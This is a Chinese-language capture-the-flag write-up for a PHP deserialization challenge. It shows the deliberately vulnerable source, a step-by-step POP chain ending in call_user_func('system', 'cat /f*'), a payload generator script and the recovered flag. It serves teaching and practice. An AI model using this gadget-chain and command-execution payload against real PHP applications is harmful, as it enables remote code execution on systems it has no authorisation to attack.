ctf->show(),ctf为secret_code类,调用secret_code::show()5.return $this->code->secret,调用不存在的属性,code为sorry类,进入sorry::__get()使用name=&password,让两者值恒等,绕过随机赋值。">
赞
踩
- <?php
- highlight_file(__FILE__);
- error_reporting(0);
-
- class fine
- {
- private $cmd;
- private $content;
-
- public function __construct($cmd, $content)
- {
- $this->cmd = $cmd;
- $this->content = $content;
- }
-
- public function __invoke()
- {
- call_user_func($this->cmd, $this->content);
- }
-
- public function __wakeup()
- {
- $this->cmd = "";
- die("Go listen to Jay Chou's secret-code! Really nice");
- }
- }
-
- class show
- {
- public $ctf;
- public $time = "Two and a half years";
-
- public function __construct($ctf)
- {
- $this->ctf = $ctf;
- }
-
-
- public function __toString()
- {
- return $this->ctf->show();
- }
-
- public function show(): string
- {
- return $this->ctf . ": Duration of practice: " . $this->time;
- }
-
-
- }
-
- class sorry
- {
- private $name;
- private $password;
- public $hint = "hint is depend on you";
- public $key;
-
- public function __construct($name, $password)
- {
- $this->name = $name;
- $this->password = $password;
- }
-
- public function __sleep()
- {
- $this->hint = new secret_code();
- }
-
- public function __get($name)
- {
- $name = $this->key;
- $name();
- }
-
-
- public function __destruct()
- {
- if ($this->password == $this->name) {
-
- echo $this->hint;
- } else if ($this->name = "jay") {
- secret_code::secret();
- } else {
- echo "This is our code";
- }
- }
-
-
- public function getPassword()
- {
- return $this->password;
- }
-
- public function setPassword($password): void
- {
- $this->password = $password;
- }
-
-
- }
-
- class secret_code
- {
- protected $code;
-
- public static function secret()
- {
- include_once "hint.php";
- hint();
- }
-
- public function __call($name, $arguments)
- {
- $num = $name;
- $this->$num();
- }
-
- private function show()
- {
- return $this->code->secret;
- }
- }
-
-
- if (isset($_GET['pop'])) {
- $a = unserialize($_GET['pop']);
- $a->setPassword(md5(mt_rand()));
- } else {
- $a = new show("Ctfer");
- echo $a->show();
- }
- Ctfer: Duration of practice: Two and a half years
入口:pop参数传入序列化数据
出口:fine::__invoke()里的call_user_func用来执行系统命令,查看flag
利用顺序:
1.sorry::setPassword,给password赋值随机数
2.sorry::__destruct,如果name和password不相等,会调用secret_code::secret(),进而include_once "hint.php"。但是只会跳转到听歌界面,没有flag。
使用name=&password,让两者值恒等,绕过随机赋值。
3.echo $this->hint,将hint当作字符串调用。hint为show类,进入show::__toString
4.return $this->ctf->show(),ctf为secret_code类,调用secret_code::show()
5.return $this->code->secret,调用不存在的属性,code为sorry类,进入sorry::__get()
6.key赋值name,以函数调用name。key为fine类,进入fine:__invoke()
7.cmd,content分别赋值'system', 'cat /f*'
8.为了绕过fine::__wakeup,修改序列化数据(具体上网查)
payload:
构造序列化数据时可以把数据都改为public,方便操作
- <?php
- class fine
- {
- public $cmd;
- public $content;
- }
-
- class show
- {
- public $ctf;
- }
-
- class sorry
- {
- public $name;
- public $password;
- public $hint;
- public $key;
- }
-
- class secret_code
- {
- public $code;
- }
-
- $pop=new sorry();
- $pop->name=&$pop->password;
- $pop->hint=new show();
- $pop->hint->ctf=new secret_code();
- $pop->hint->ctf->code=new sorry();
- $pop->hint->ctf->code->key=new fine();
- $pop->hint->ctf->code->key->cmd='system';
- $pop->hint->ctf->code->key->content='cat /f*';
- echo urlencode(serialize($pop));
- ?>
flag{2766a0c2-44c1-4547-b0b9-4cfa91609a3c}
难点:call_user_func('system', 'cat /f*');
call_user_func('system', 'ls');可以执行系统命令
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。